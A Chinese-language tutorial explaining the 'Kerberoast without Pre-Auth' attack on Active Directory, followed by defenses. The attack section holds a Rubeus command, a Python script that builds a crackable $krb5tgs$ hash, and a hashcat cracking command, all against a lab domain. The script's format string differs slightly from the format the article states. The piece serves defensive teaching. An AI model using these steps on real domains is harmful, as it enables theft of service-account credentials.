Kerberoast without pre-auth
字数 1415 2025-08-22 18:37:15
Kerberoast without Pre-Auth 攻击技术详解
1. 技术背景
Kerberoasting是一种针对Active Directory (AD)域服务的攻击技术,攻击者通过获取服务票据(TGS)并离线破解来获取服务账户的凭据。传统Kerberoast攻击需要攻击者已经拥有域内用户的权限,而"Kerberoast without Pre-Auth"则突破了这一限制。
2. 核心原理
2.1 预认证(Pre-Authentication)机制
在常规Kerberos认证中:
- 客户端发送AS-REQ请求TGT(票据授予票据)
- KDC(密钥分发中心)要求预认证(通常使用用户密码派生的密钥加密时间戳)
- 客户端完成预认证后获取TGT
2.2 无预认证漏洞
当域用户设置了"DONT_REQ_PREAUTH"属性时:
- 该用户不需要提供预认证凭据
- 攻击者可以直接请求TGT而无需知道用户密码
- 这是"Kerberoast without Pre-Auth"攻击的基础
2.3 攻击关键点
攻击者可以:
- 修改AS-REQ请求中的服务名称(sname)字段
- 将默认的krbtgt服务替换为目标服务账户(如mssql/sql01)
- 获取由目标服务账户密钥加密的TGT
- 离线破解该TGT获取服务账户密码
3. 攻击步骤详解
3.1 准备工作
- 识别域中设置了"DONT_REQ_PREAUTH"的用户
- 确定目标服务账户(SPN)
3.2 执行攻击
方法一:使用AS-REQ修改
-
构造AS-REQ请求:
- 设置加密类型为RC4-HMAC(etype: 0x17/23)
- 修改sname为目标服务账户(如mssql/sql01)
- 使用无预认证用户(如ssmith)
-
获取响应:
- 响应中的TGT由目标服务账户密钥加密
- 提取票据的enc-part部分
方法二:使用Rubeus工具
Rubeus已集成此功能:
Rubeus.exe kerberoast /user:ssmith /domain:lab.local /dc:DC.lab.local /nowrap
3.3 离线破解
-
转换票据格式:
- 使用kirbi2john或自定义Python脚本
- 格式:
$krb5tgs$0$*username$domain$spn*$ciphertext_part1$ciphertext_part2
-
示例Python转换代码:
encType = "23"
userName = "sql_svc"
domain = "lab.local"
spn = "mssql/sql01"
cipherText = "c7b4dd4d7abf9399ce441ea58085f49204f75ba1a49d53aa476fdb4aafb6444ee8103391165f8d32d25d445ffcbb113d8fa9e7db78e0c4d868ca5ff748a27258b4badbdc08d596d264199a1cdf44a89a053502c1213f113e934b2ac17f3e1d5fdfa4ae6fc4b06b54ef2d34d47fe03d9582e4f895c18a9f51ea9ee5204bbf005c1701a398b4b5fee965865f0bd1fc8e523e1f241fefa9284c610542a78023472496856ca0c53ab65c7bcb1e78f707b3132049494bc1e442c86f618673447469c5dfc58e9288bd01e297a3a1781a020c0d5bdea3453eefafda910b5d4bc5b4cde98b02417e3f82dc3125721792b1bec3fd1532027986ab68e19875a793a05ce1da994a79f0a1f7db9921552e6b5b358a70ec40b0925392aed310ebc02b9c25fa7162edb301691cbe085ee9ab4e0317c2260cc5e67502bf8326dece28353ef2b2955a7170354cf038611936709ca551b0c21f5709a1ec14e44105e055f5abf3632b4d85e0e5f354e2efb1ce58bcff2a239bbf6af71e6f67cee1a560addb69a8e4abacfcac18da55e89bd6a7e97bb4b80cf5798cb7b8b95e2f8be911aacb3b63b8202052bfef13835f042658392087c6e50c8d1343f066f686314f0e822b58dd9f0207048662a66b7250623d45b918e277875ea05fbe5794d7ca0d148c8305b8d24804dd64e07cd054b6f3d775d186184fcfef71907329eed2d40b632c640fc15bc78e00a2ebfaf0df86a0dd3d801d01490b7686af12cee6fcd98e108b8f3983b65af39e06a4e33a26c5ab099e8ae24eb38837e619a888dc40982afda6aa4cdccaa2d75dfe8a2232caa7087708d2905e9b6cee2253760fe0c6fb87b7f582cf05ca26ec378756972f19b5b4a1edca4c84405371404e68ae4c88a3f935da5f1c78d60fb297dc9fda48e12e5faf501a9e168247eeae3c17c992c3b57ed3ca241976fb982f2d60b933bdfb28c51ab76f8b9834c106767df3cb599f51be3b19954a2c219520f4abdc36b58618f5ced1b1a698aeddbd2380ee3c79fd358cf4a4f446249dd3468ce90299800c49547b8a20016dd5d08f0f59c15f90b6a844f18f0eab64d5e401684266e32fd2c6689375775c6e0b5efbe9162c913706547ab57dae49138f5855698d044b408594e72092f415ed518171b9720abe4ace213c5f414abe5626f5632b395aa004d247696b0c7fcbdfc0046c9463f52ae012b9ba8bc085ba390329231a8ea32bbba3a282bcc8514d39cf4178eedd60dbd569877973487a184f456f9dc60837d9ddca41e0ec244f42df8d2ed114960555f8f64ea2ff8c593e845550a234dfd96e"
formatted_string = "$krb5tgs${0}${1}${2}${3}*${4}${5}".format(
encType, userName, domain, spn, cipherText[:32], cipherText[32:]
)
print(formatted_string)
- 使用Hashcat破解:
hashcat -m 13100 -a 0 hash.txt rockyou.txt
4. 防御措施
-
禁用无预认证:
- 检查所有用户账户的"不需要Kerberos预认证"属性
- 使用命令:
Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where {$_.DoesNotRequirePreAuth -eq $True} | Select-Object SamAccountName
-
服务账户管理:
- 为服务账户设置强密码
- 定期轮换服务账户密码
- 限制服务账户权限
-
监控与检测:
- 监控异常的AS-REQ请求
- 检测异常的TGT请求模式
- 设置警报机制
-
加密类型策略:
- 禁用弱加密类型(RC4-HMAC)
- 强制使用AES加密
5. 总结
"Kerberoast without Pre-Auth"攻击利用了两个关键点:
- 域中存在配置为不需要预认证的用户
- Kerberos协议允许修改AS-REQ中的服务名称字段
这种攻击方式扩展了传统Kerberoast的攻击面,使得攻击者无需初始凭据即可尝试获取服务账户密码。防御的关键在于严格的账户配置管理和强密码策略的实施。